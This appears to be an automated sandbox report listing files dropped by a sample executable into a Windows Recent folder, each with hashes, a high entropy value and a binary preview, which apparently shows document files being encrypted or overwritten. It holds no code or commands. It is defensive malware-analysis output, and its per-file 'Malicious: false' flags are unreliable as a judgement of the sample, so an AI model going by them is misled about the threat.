SSDEEP:	24:GVNHKAR9ZEi3Mc8Yoku3BboR2yQfF+xrzqkCUYRDeeHEwq9HWdo4e+3zbD:GVg6Ii3Mtku9lyUIn6zipu/3nD
MD5:	D7EE1651618F2398B5F8D5F48048F5D2
SHA1:	2D770BD8BA6CF1EB4EF9E27B74562C941EA5FED9
SHA-256:	14542DCC9022916B82FE68A03ED85B1614D993B3041BDC1B7E512A657418B110
SHA-512:	38A23F2CB26D39552C6258F51263D8151B680C93570397AF356E21AB22F267646AF97E874CFE86919D6E67035C889A29520664D8BE9B100B60D3642591973CA8
Malicious:	false
Preview:	DVWHK.q@5rO.J=.-..VZ......G7.Z+&....<...M\.[....3?...#..m....B0....-T.....jv^uj.G.f...=.\|.40.^..[cL...3..X.Xq".....(O."J3...4...QW=.....k"'..8.AX......L.1. ...oL.....8.._.."r..Ir7...\|..._..U.7..Z......B.,Jb/@..n.d..q[."..g.....3',.>r{]H..../c.291.}=.......N. v.^.6...4......D$......\|go^\|.h..I...@..{.w.\|9mSV....G.....v...x.t.`)i...u..0...ZK.^hH.M...n...${..&...B_...5y.N........&...t.$LZ.....}@..#...s.}./J.i..Vva(...Rkc.(.m.n.c..+...\|R....Q.^.@C..(..n(a.......G.iG.v.N[E\.bB...YO......v..C...\...G..J....3.[.....(.8.?R'g.'s.#9.?.wF..I.FVE....e....I.jtB..)..P......(..YE\...p.....h...-J.N......^.........BgY8..P..Lx..........848G......HE..t<Q...5....Fn.O..?..<..........l.r.P.$4`..#.u..$jx.].s.9.*...NM.....7K.a.).)...mw....p.mT.].~...J.[.O.;;.F...}...1..1...8..b..>..Q.\|9B...ljR.A<....x........2=...s....>d..<.M0.Hi..ft..pb....?.p,n.SUh..D.4...T,.9..P]N.8..Q..[.B>...Xf......#z.J..+s.S~.$..m..........K"W:U2Z}-......}....(..0F6.P..0...&....d

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HTAGVDFUIE.jpg

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.875117940249932
Encrypted:	false
SSDEEP:	24:ab7usCD96hSiECbWdvgnZBQXiKLls4b8ZZRR5mrO/5ZGXYe+J+O3idlx3zbD:0useOTb606xPGZdma/5ZGXYk8idlx3nD
MD5:	94A05401EFA5B24A1B9B8EEEE08F6539
SHA1:	E8384BCA4130FC5BB6410A3D56FD3043B07AB670
SHA-256:	702BBE1A6CB814DE79671BA33A6B07CE9CC5F2916C0232E155522B3723FC803D
SHA-512:	4B6C6CDF1DB9FD61DB78446ED3145CBCC2454CF5321E7C0C33971E5624D0044C9EFE199BD8606E266E839DFEF0D70AD42DD5F4DC5A0A6DA7CDEEF634A4E88D86
Malicious:	false
Preview:	HTAGVc\|.o...q...j.Zp.V........6J$ ...+..N......r.r...=u..-oE4..C!..aM...vM..........(..LR.3r...n...`..<'aP..m....}..j.+S.F}.l.....6.A..............i..h..\|k.).....a....\.+...+D.m..v..jm1.......a.\.#..k.O..h.j...:w.v.\|8...!`..........I./.\.Sl..1.M..(...)...G....)...=...W_k.z~.....cn...c..?b..}WN\|....?....z.M.T.=C....-....'..gk.@..A..[:T..Z.......$.......8 ..&...\|R.@.Ml.O.......N.......@.i[......w.u.....X,z.....zuP......L(..5]....h.A(9.1h.....@.A.>Z.v.?.b.L..4.6d".2.....Z.WC.mm6@..'...w.y;.G..,.a^.b.e.].[.2...2.k.... .[...zR@C.. b..R....Y..!MS.@..&.X+.9....F.'T.^Sy.5..,.S {..p.8-....z1...4.x(.`2)..e.?...-.W...T..uc....M.w...c...\|. F.s...u..v.W..y.6.Z.....!.......6."...{O.>...7.\|..9k.{c..2.[A{...}..'.&.7RqOA.{F.Z...9.....knLxCp.2y...xw9....(vK....o.K...{...L.....P....Gb.<....*J...wD..\|Z.\|.. D..It.e@.......P&A......y..NQ.Y..V...q..<m.c.:....w,X.....+..MR..P.._O.......5...^..vXrxW'.u_o.lR..'_....:%....&..XV...S.....0.....l.v}.hD......w{

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\HTAGVDFUIE.xlsx

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855020541466519
Encrypted:	false
SSDEEP:	24:SJYeoTIOBriM8Latt5FTloEyX55FBEa4ZEvx41xfwIEGazVE0/0X+xRJZeXigrVB:cwTIcE+LFTRyNBUZEvqgIEGSOz+1AXrb
MD5:	28A45D74147A2B4DC70892819074A06E
SHA1:	7D47F2CFB442B429342D46FADBE7A261CB55654C
SHA-256:	B6FF407BF6FC490C4D9E8810E1A8B4828653B3B7BB26EE9BF301DCAD7F91A461
SHA-512:	57BB5DBDF3BD445F0C6BE45506FFC69ACE5AAD9FE47D320F66A7541CF69F14423418650551F7BA3CE2CFD993E75EBF6F81B01474F14D53F6C6162D9B3FBB6FFC
Malicious:	false
Preview:	HTAGV...=nz..k......e......Y.....1.I.o5.c.&.H.-...st.Qei........W X..u.e"a..+q4..n4j...Rkj}I1.!.`}f.VO..u..p1.7...f.?.\..&.......+....[....S......n...F...e...........d..?T...&..V...N;8.W....Vz .KY....T.j._a.QkE...J..4.E.9/..c.#..j..;.P.\|^n......Q....F.\j...H.b...9l..C._Rd.wD......Q.....W...3.D3..~)....sd.9..X.....j....<...u.....XK.I......w..3&...t.c...A..../.......Il..[...z.yR....`........" :K..wE.9...r.^~..v.r.S...B;(...K.8d.........B...."....7.YS2.~2A}K..J. a.....<..f..a-6.5..P/6.S...$.....n...P..BU.....-/..z.2n....b.....Tdm=.7n....W.h~...#(.I5...y0..N'..X\|B..Jd..w...9T......sU!.%J.F......+E{v.......2..Z;..V..0...W..g.=......=.9.`.qmX.!y..4....%..v.@....H.Y.kF....^.YH._.....E...I..s!2..@.N..\..P...4N.\><@.w 0.s....z.M.F..~W4C.....Ko.O....N.S.?;..\|9...q..g.,/.]:.l.;l..rm..H=...>iU..G...~....0..\.c...Va..5...$.......z.J.F}..Lv}N.G-).,..... .kq{}..t.NqiV.%aP'.Vj>..4.....{..t.L:.NF.<:...V...Y.6.C.O1..R.H.z..:).......B..nu...t>.[.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KATAXZVCPS.pdf

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844228300979692
Encrypted:	false
SSDEEP:	24:MZs5dULxETg8Zg1IXz8/iwXZ1nK4Z/RCWB7n3NVKIU730BcR8QCS9+jJ3zbD:GLP8CxXZ1nhZZ7B79gIU7rQjt3nD
MD5:	683A3C33815F1A67154E4DB2BA03E452
SHA1:	20B35EB517392DE48377EC9F191A4EA3F9AFF6CD
SHA-256:	5EF89FE32A4077A885A0493EDDB396D01824869306BB49D562682699217BAD8F
SHA-512:	4F961848B5302C6722D27E6AFCA384F856FA96AC3982CC4FE74FF90F97695A0B18B732F36AD70398701191524D0B143E9A5C861ADC3CD1B61FD076B0B56977D1
Malicious:	false
Preview:	KATAXu_. r.rF....#87?Vb.@Of..5&l(..".....t=6......Z.O............{a.#:.?........\C.\|.. .k.}.....~o8.5..R..^w..A._....]HP{Y..]8S^.rG.x....W_P;...]...f;m...X.5jz.c.~.."...k0...$.X.s...n._.......h1.........O.Iw...f.G=_.a..=k.F.y..Ry;.(.......O.P..Q.......Y....gGj......R..%w.........$.....c.88vQ....p.c.....!Y...<...$...?............!l..P X.=........d../...oM.........f.2.a....e......C...~...Yc....R.D..c..........c.#......'~...`.R&....k...`?...O.jd....=3..m.\|zR^'B..t.6......,._$...pz.7..+....F&..Z*-KlEj.......d...B.\|.nFsR....}b..G 7.=....r-..`.eMGJ.....z.6@K......-...)..T.U...{M.l....X.JK.......GF.....r>~...>.w.<.N.6...=..40[x.....E]z.-.$9.............{..../...d..qD....n\.......%..?..FXM.^.lW.e{~....k.....q..m...zK...8wz.....F+O.........q.?.$].[;".L.f..............[.SK.Z.A.N..Z..4<..:C.=Tw+...4x...r.k.E.-_..(T.....".^>...-\|7......?...q...D.0..p#O...U4.......5...Q)._.....J0...?Y."=6.D...k...._.3k...3....&..dFb..G{..L....Q.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\KZWFNRXYKI.png

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859831489161247
Encrypted:	false
SSDEEP:	24:tT2E86S7DhnXwdRPjMLWG986Nu5kSRRn4TB/F/OBpPfumqdKWz3lZK4s3ch3zbD:tT2n6SHhnXwdRPgm6NWkSDcVF/upP2zr
MD5:	EF37FF802B663390F5A2BA909E7BE92D
SHA1:	6B9256CF4320676633CF48E6B878F488DA4B241C
SHA-256:	D68F836B76F1DD227A74DA89E90C428C91E880B17759F592BD76DA5E3934D073
SHA-512:	1C7EF33E13F003B2157987A6D3685691D9D2BAAFE295754DD20B6E56A5165D4AC0E7C7C41D43ED17EF3152219901D3FD5CC0A18A81CD33E9D8529C782A0DE501
Malicious:	false
Preview:	KZWFN(f^M....L.X.y..!.6..i.....+:l..y.........90...Q.;.o3...."Il...._Z[k...C...........~J.y.M.h..Y..[..=..4..5.....5._ZH......>%..^)bq.D......x....;..h.u..~..v.:.R.....Mf c....7W.......(@. ._..icCS.dJ.....9..8..c......U....!@.Jo.V.....SA.'...k...x.Mv...u.H.o.\.....Z....F.)..o.F....9.R.7.m..'d........okP.....q..K.0\T?iZ...KK`.:....]q@(d...ey.;..sj.2.I...y.....H...,GR@.6.....H......0...Y~..@.gm:/.....\|]<iW.#.k.T..7..f`UH....J..0zQ.....q?..Q.dc...N.I8y....;-.>.....D.jY.0!z...9.c....t..w.sD..W.q..?'~....C?!..J.>o....q.....f.}.../..\Df...yU[x.4<^...=#...@.d.]vb`C.]..L..X.a.D.-....YF??...a..)oC..i!....qU....+...Y........x.....C.0.....%h.R..>..x..K.z"b...j..Z.*...T.....@.M..A.F...>.a.....@Y.<.d7;.J..j..b.i.=..x...g.....@....".\|.......h~..q....3..#.2..M../Z5...........Y..2....W........J..F....[3 V....P..;2....?H.~t. ..s..>".......o...[.Z..k_p[..]...j.lX~..Q~d8uPp..z..O..$S;G...}65"7?#...(.PO6..0C.....I.......a..j..].aR8&.m....L..Cw.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LSBIHQFDVT.pdf

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.831118550335088
Encrypted:	false
SSDEEP:	24:KMB59uMBGbymFomeKP3eQ8jGA779RqZ5msNtxqbYzdZULgLTy8U43u9Pgex3zbD:Kw9l2vpBcj77qqszd+8LTyh4agex3nD
MD5:	57D5A37A3C35B612AAF590FD5E5B05AC
SHA1:	0D7619103A3FDBE421E5DE0BBD37C0444D5BEDDB
SHA-256:	BA0921B4D64E2DD97F13C652CCD3BEE46A95CEB966C4DEB9D4C3AC7CBD6B0912
SHA-512:	E80CAF048884126F7336E6B7998C6149368464FC9C61A934503525900730625D854503C748F422CAB654F642816795D03670ABCDB62A5F0E3F679C33048D241F
Malicious:	false
Preview:	LSBIH.[.8iSF...V....`\.R.k..,@.v.f.a...A.._......Y..........]Dx\<8.q.....\|8..(.......r.[......o..e.E.!.....c.8P...o0..c.Y..iB..5.......W.Iq.69..^.oy3^..........%SV%2..P.Hy.[.M..!..7....1.5.2dw..U.).%e... .@...].r..%.V.0.'.Pj.g...X.b.\.w0.....&..y..5HY...#...c...p...!..d..;...q...!..P..L..._idA# ...?..UI...=..)Gm.[G/.s.......{t....&...:..q..a.....y..Xv.).S..#... .....A..~..A.n@.....~...{.....w..'t.-...=...^.......]4t.+I97}.........R..V}...jb....V.....X.I.0......z..l......!..._...0..l.U&.i..1.4mt........!.......7.o.....#...U..b....Q.wp.....:..8..Q.....Y,.?.j..dcv\...jg..8.m....F6.J.>@..h>...n....$:(g...m.....v.........-..J..K....C.1...Ee.....G.D<...X.V....pBl.._.k.A.V.8..b.`.O~.nQOT..$>..l.....3.AV1..)+?...4..8....s...F80.f.1.VeF...k/.."C.~....'..u)...IoV.5!.$.I..`.....a...M.3.(0.._..-.r.H....of...J..q.X.yq..;A..F...M..\|..J.=D....l..i*.e..v..}..t7.M.YW}..=.2.V^.......2Z."...>n.~}.q../wL..Z..!,.b..v..\zm.......')A+._..)G.72...{.K.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LTKMYBSEYZ.mp3

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854435575101545
Encrypted:	false
SSDEEP:	24:/lN93Xj3mBIbuxZv+tJsf0IIgM/8ZFD/7dx+AsKYp6XAKqhSRcTjiEYo9/JoA3zX:/lD3XjgIbubvuJsf0Ik/8ZFD/7dxDjBi
MD5:	E21DC44697E33BD18A938A2716A1E18E
SHA1:	66E7A014CA3766BF86F1CDFFCF2E173A480AF770
SHA-256:	3D1CCF70F99C545655805CA72C75EC78D5E396F8B2336AA18654F14702C7A0D9
SHA-512:	1D71AAB35B6711761B45AC9F035FE47D01C2B5DD7C1625A75AB8AEF14CAE57390DEB5F13D86410C16F37BE883A2FAA47F4D4CA4CBBEB2729CB8AFCFE39383079
Malicious:	false
Preview:	LTKMY..7.....R.2./.....(\.8HN......A ....H.f..]4...,.../....^d.jp.7......H..N.^.x..7f..D..`.e..N.h"..K....5r.\|.h..$..a.........@'..U%<W......1...lK..A..P.......^02&.&b.bG...-..)....%vr.../...r....Wy...I..v.c.....fm..d.......m..#..M^r[..j.A>........U..S...~.....A.eq..(Q.4..........YM.ELFz...~..,LVu...H.l...\.f....\|\2......@.....k.F......J."A.....&...-S..G4...%...qE..n9w.0!.i9..am..!v..s..G..../R1c..4..@..9......dG...........'.pu.9..+..j.<....S..."......'O(.S...2..j.3.'...4...S......T.iv....)..n.<2k.:.....k..v..X%..'q..LE......-S>."_......3s{7...... ...e.....L..h......).y...I.$....[....5WPm;.J.q...}..../g/X.....$.....R...Y.z.zU.dB.H.......p.....ah;.]\|!.\|K......D...XhE!.....<..N.P..}0... ..E'..v.......t..a=.k..GM.[n.=>..\|.}kAk.......y.X...Y.".mp..,=.9...%y.M.Q..I.zl-..?.,.G.+c{+5...y.O..Wt..<.(f.......=.n=G'(.zB.....a.D...2...H...t...f..#Q...\|/..........N.f.......Z"..$n..r..H>.[...{.(wrs...a....3.C...a....\.y.....&..+J.....VD.W...Y

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\LTKMYBSEYZ.pdf

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.869856507200867
Encrypted:	false
SSDEEP:	24:bEUI7VXOzB4Kx2OFvlkbkNZJSybladl5pR66kDN+KL24dOjcqPhJy85iH93zbD:wUI7VXOBN0A7vYWladlnA6gN+KLFqPhe
MD5:	547C0CC3667715DC4000D52A62AB8A48
SHA1:	D6D90487BF05C58EE523AE240972168911F8A390
SHA-256:	DB1ACF1FF0893A724003D8475AD92EEDB314802670A4BAF06DE72D8C77683532
SHA-512:	7F8E58D6ADF246A6307857B131141E76D718E1998ADC00F5351B2C0C7AE17B4D76C3E8A0E3A7BE11CC0E2AB3D24ACCF7840151EB0925FFC15D5293E9721F3791
Malicious:	false
Preview:	LTKMYGC..5I..4...'....W.L.......%9W:...!.f.]g#...)_V..n9.T~..J..Z..k;..F...,..cZ........H3.._.Q..LO.].R{.'M$V.;..O.-....u........<..+L..%OYfd.K@...X.....d.P~.0....q.wue4w&d..^. Y.3J..dtnjN6:....J-.\|..=-..d.+..'...a.....e."n..,.....W.u.QR.....TK.Y]..)..f.gnh<...../...& H.....}i.J.UZu..{.+mI........9...2DB.g..../......D..q....ed...F.H...r......x/.~$...l.....j(.T\|..t...<......, ...D9_?.....]...#.v.&h_K.G2.g..`.o.y....g.x.Q...q....O...g..pY{....E{9.i...Cv?L..._]..jpf.s......'L..S...5\|./....@~.8....Gvi...)..!....R.+-.-...9..3.R.w?.X^........M0......X...K...jWQNU.+pn..`..P..3>m)..A.T..LF[.G.2.-w.9y.-zbK\[..+u].....w..y.J~....5....<..?.....Y..~.d=e`..S...l/.+........A...j.v...q......B .~..R..u..ba..3<...J....~..-@!.m^+u.$..<....&..Y.5.U.1.^....Z..5.#....&.....hl.......W.2m..".=E-a..z.9.....M......U,P.N(...9/*...Tn=%.n.Z...u...O.h.6...4T.:u..).SS.L.r...4z.b^.0....v......6..~.~6.....-f.>...{......t}&g....8S#V..4....V..=..a.V..d.B.4n3.cW

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MOCYNWGDZO.png

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856129587635169
Encrypted:	false
SSDEEP:	24:S3dku6gVdZJfzjaTZeAjy6ve1i/MVldT5AjdjNLQqOICH47dMyhTFmD3zbD:b/0djaTZJjUEmlgjWICmBI3nD
MD5:	609BDD1B29958ADE31A862711A6F79B7
SHA1:	2B07407307994895637361E97221232579BBE0C0
SHA-256:	395DE188E2929E08B79D78EBCCCFB857D15FE930F386D7DF6F272B35B2DCB009
SHA-512:	316B1C07320A25CF2A292672FAF5F8704DF36F959907FB709602B581AFCE8F75C11867C1DFAED52B1409671AD416A928A2E26E51014E8FDDA773D3E86CAB6361
Malicious:	false
Preview:	MOCYN..bx\Z...9..e.6.v..vJ....Vr....e.]..}.6j......Z.8"..{..+k..g6.SU.m..zn#^.E1...eA.u.....o.H...rR.J......Y(..28......q...........W.F....P..!..w......E6..#..]....H`..mS\|6(P..Q.]..\|.l../. .K^.\.9.)9.Jp...o.....eU......6.u.....!.{...._U.u....Z.^..;.h'..9.z6..D..?...Z.....9.Q.o=...5.GT..o.U.&...D`>......ky/....oBCj.\|w._.u.8K.b&Z....Mz<.^...]..S.R..o'6s..SKA:<..4>.4.........].O.a......6Bh.........e...85..%..3.s..Y.r..i...S.b...;_e.#-..W.b..7.S<.....a..f...Pe...9........h.....>Q\|...'..g=.r..._..q...N....j&'R.PF..04..#..W...y.x....ul..h....7.P.........Z....q.M:..<.....E.y+C1.......a}0I..~..?o.o.V.\|@..+..D.S..%...B...z..l..CW.;[...V?_....d....5...g...MH..........jytl...,$a.j._&;.S.>3.#...w..g....3.I.....;B..we......8..."\|a.\|..8w2.\S[.....>...c.H..R.T.'G.n..%....._..j~..d.2+\|........[.A..?6N).....9.d.'9P..o2..k(`..ew..........0....W......5..?.$g.....M...Y8....5.W...dR..W...y.....BR..E..vZ..i.,.7.[.....YmA.%.0..x...O...R...U....WAL....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PWZOQIFCAN.jpg

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865715536214976
Encrypted:	false
SSDEEP:	24:5sndwIHWidk/0BG7cbQ/+eZsgIijnOReFXiWM54AwCzJ93zbD:x/k1BG7c0/3kijnOReFXL1AwCr3nD
MD5:	FC83E46888765856691BFE313B687971
SHA1:	392D960CF36CC983305D3CA2085A65E85E59784A
SHA-256:	EE6E5F7B14DFD3314C368B5A89A3549319DECB881D3889DB4263ED944ECF0713
SHA-512:	605239B1BD1F232250A9F79C4928B46D78E349AB37147FE16C3538FFD7EBF5C2616867C5685C399EF201FD75777AD4179551C8A12F167B4AA189594D6F016497
Malicious:	false
Preview:	PWZOQ..1.Yq. 4.6./.d...]....Dp..*<.D...s..!..9..3.......S.u..........p$r+.Z.......J.m+.@C...}q.j.\|.........H......X.`..b.L...F+7....#5......_[..I,.U.e.KK.[.s.9.Pl;...h".V.:.'.<"........(.o9.$0.......\#K..JV.....GR?.O..p......+..<b,.wCVt8..N.!.Z............^3ZpM...H.q....mK....O......t.s...=.%.....a4#..\.NN.)S.....k.\Y..m.l.hv...:HQ.Wr..c.g;.!>d\|.85.l...o).U.M.L".W..C.s....'..Tj..'..j.T...c...t.T>.Z,c.5.....0...9..z...W.d.!d.5.c.7....#....:.1..)c....0...uRuo.&..}........k.....j0..\'.GH]2.._n.x3b{.1......p.3=....n...v.>S.....YZ.k......UuH...F:..$}...a.q......V...7DG.~.%O..B...P..t..wwJ....../;_8]..(....3..rSE.\.R.OR.t..\|...phk.z...!..^..A.\.....MA).'Q...#.nz..R.zw.H.....d..g..v....k......u.bA....UX..C.zv...T 5.W.....S.Y.x.f.....,.a\^.V}..GBl.).W..e....Z.......x...1.,.P.....~......`...rb?.V.&..W .!nH.U\|...p.....tV.+.g.L...L..9....d.J.0I...\.U...@).`.Nr.C}../.;...^g.LU..vm\|6C..._.w....'v.m..U..s...B ..6..s..O`....[......#.A.v.%..7..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SQSJKEBWDT.jpg

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.884590721673373
Encrypted:	false
SSDEEP:	24:Fej5d0CSGkyXT++wNzwtH3Ev/Rh4E9Wp931tJ/lIwRXzco3pjAcd1651mM3zbD:Fe9dT1kyDVwBwt0nRlo/1P/lfRXzckpG
MD5:	9138DB228C306AC4C12722ED004556EB
SHA1:	2A7ABCF96F75315BF8708E679FD3F30582396FAC
SHA-256:	2AE70DACBE49826045C0B138A0DF6375BF27C8C470CECC7FDA87F4579FA8F0CD
SHA-512:	897B1FB8B6AACBDB60618890FDB234210201E0C09049EC463320965FC418FC68C14B2278C77B586723C81C7B2991A838688A4E3EC7710D5E926104132548D849
Malicious:	false
Preview:	SQSJK..3N.J....T.k.9...t.{..p....r~.9...W....#....=.C..2..T`.^]..lU.%.(.7..F.d..P.Tt(e.Bh[.L<.....f.~Q.. M...@......S~.N?.(...w..l.......8@.5`.y=,..1.I...\|.A#~A:./...N.Iz.#\.......t.#.J...`q..K.Ji8........^?.3.$..T.........G7.....R.6.....$..^4....9....5....U4_....U....&.a.s`~nP.9;@.)FM....c"s...!e:.......4.........\|...Kk......F_m<2....B.....+..U....ID)..O<.0,G&.:.&tw....E..g..f.".tW..T.......$..v.U!`{ /.. /Y.b.t....\.\|.W.. n..m.]v.\|:.......X.=dD.......&..Q....Vo.Y..E...."...02...L7W...zKg..._o.r..=........c..J[....n.n.f^O.e..L@..LMH.@.y...m..&.'j........#..1........\|..L.E.j.5Y..V.s.....Ra_..N0w.&w.F:.u.F.$\|...C..!.[..#.F.B.)bwn..........p....._.......YI'@...h4~.X#.?Z...qA....K;g.m}.`..AH..Rq..pP.Up.k4.9 ...`...0./.9n..}.'...v..!......Q9.r..B...T.....\.J....\|Zxm.....'x...'eR_..<...\|.........~>.......}...t=p#......&...S`.^..{p>..ly._.C4!.Y.d.....]+%...?.xK.._.=.......m=/U..W8e(..+........$.'+....3U"...x..<.\Y?.wWi-.(,.0.Cda+.....X...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SQSJKEBWDT.xlsx

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853212848058083
Encrypted:	false
SSDEEP:	24:qXKQscRfza2rl1NUifZ13d6BYYXiXWF/+uo/Txki1cdyglYXTlkOJxTtMBO23k3D:TQNRfzjrl1NUut6BYYXimF/+uQL1c4gI
MD5:	A40DC17E9FB2F7E9F2E29F3DF7880144
SHA1:	F3CFEFC22771154E94E923B97E61FFBE1A9E97F2
SHA-256:	B6F6444BB611F9D59DF66F9B0B3ABCC89FE5D58BCE7607E1E77926FE5EBE39EA
SHA-512:	F0DFDCC3A31CAD51FE3F582180035F320420836B5C42D3FCD641567709E392FF0FA09BC5F2107EE7808E7014A4EF5757DD75788BF7E9D9E1C9922C650C76C285
Malicious:	false
Preview:	SQSJK.m...zg.$.?.tP...m.x....D.cr0....6.^..LX..#K8..l..1P.\|.u.W+..i.R.ey.. ..MP9...e..?O3H.....5..8BCjz]b.f.9...Z...n.0).e\.:I.p"...h9..{73}F.......X...w...z''.Oh....j.-.c.~.u2NF...MX..\|.....1.$C..G.2.Y19.8z...e.[..u.3.........S.V.[q.o..f.....X.ls.o..6.x..p.fz...M.....8.z.....F".@FjK.....}.b.}..o.....y6.`h4r........T.^......:.T.p9.E.....6s.2oZj..Aj......F.y./u.CsM.QD.0..&.=.\y..m.{.\|;...V...'N.8.0Ap..`b.....B.RD...-{..(t4;.....J....4...1...A.O-{......`O...PD?..^`.8.......zB.....L......M..=.Q{Nd...4.ar.w..$...U....[.-.<....!.j..?G.Ax.h..........o....l.<.....D.2.!(.7..&.A....u.u.....O..o...+.5.!.....T...3-.. ]([..y.T...aB^.>k.......y.d..B_D......%#g..T...a.._G.s...[....j..!..K...P..c9...w........q..vl......:v %1mb.fF\.(2J.S..^BFD.Z>n.$...bL..../+)d....04......v.G.#.%..B..xY.~..Y1J..E. <..F....W1i.a...&_.:}.xL...../.$x.....;.~.HTL.\|..cr.~..~y..nt..T..\|(.[.......gB.5(...W..m(u....%\..=.=G.2.<....?V..+.s?....*....k..C..........(."zG4...g@:.....%O

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UMMBDNEQBN.docx

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.874237053912571
Encrypted:	false
SSDEEP:	24:wIsUlItQY2rZnL9RcvqUarPceRqp/0b3L2g6jcjuILK3diQ/r0svUBs1x3zbD:JaQrVmqU21RS/KiyuILCdt/r0svu83nD
MD5:	8DE323D260F9B088DA21D956728F0488
SHA1:	DE4715037160AEFA4634BFDC43EAA7C93F498CF5
SHA-256:	3E32A4B488028ED034C3ECF405CCAFC15C14066E08ED7EAE15AA1684B4783967
SHA-512:	2CC23C820EAF221E5A0B5A01665FCAC5E86085C33D21A57F85E136F15DC137F33129E41E0F405EB63FBB97B3C4C509B7E7FEF285F6470736FFC1E798D0A8FFE6
Malicious:	false
Preview:	UMMBD^0.r...+....B....:..y. vq.c..#..~..Y...tm-..u...v...wd.K#H.).f.C_i/..E...J..0..[."R....q.(sL....,.....sg.^5...FU.......9..=.~..!..?.y0...W..v.(}wy )L.\...AQ+..&..D...@...b..Hi..1.s...^.0.].@.9X....X...6&(..$..UY"...D...@\|p.#.....>..Z1...)U.Pi...H...Y.[......:...........I....$r#L..4.(...c....UU.....h..,>{..(.P...8<h.]...^..a.).g....}.l.Y;Gg.\4[...-.m.N.Q.vx.D...iZ.I.;4....Wj.W.....n{..js....\K-,....B..5.L.\I...@.4jf....^....n....\|...2..>9...."....u?.D...W.#HcU.....'....jH..R...@...O=..HQ..0Z.....dj.._g...I.G...J0..p.....7;...w. v.........?R........mOk3..9.Zo.....\x........j...3%..]]d.....f...H.....L....~.]f....5....T..."B.g2...D..L...=.8..eB......I...D.-..4h...+..3...'G..h..!r.w...[.xYy...M..1P......A.-.GO.6...6e.hg.;.....RNe...T......._...q29.N....s..N......{......}8.A.%...!.!Z(.4C\|)....w....4.......#...m..L@..z.........q...:.x.E.S.S.E)..U.>V1F...$.i....Y.....4.PG.P..../..%.....1HW./.q..O..4.1...A..D..W.`_M9..H.T.{.m1\|

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UMMBDNEQBN.xlsx

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.877153376047412
Encrypted:	false
SSDEEP:	24:73A7ytrGBm9p6FgJx0dCzmNdTz0xycyjgP2uyVWrtXa40wyP3zbD:73AKrGA9pugH0dCzmN6xj1yeauW3nD
MD5:	CB31D58C0770957D5603F97B3D479650
SHA1:	F02414D0EAF121C0FB0550A335832D4E52FA6CBB
SHA-256:	2961BB2E1D7D4EA3C666DD2BD294AE08364F859B470602039D41B26C8CFFE8FD
SHA-512:	BB2ADA0C6D22A5174908EE6F3675BA4C863516102E84A97A5E9312F475047EB01D1F29C50D0EFFA8CB7EBF8CF69FC970B7091F89B62DDF535EA52A12530A7305
Malicious:	false
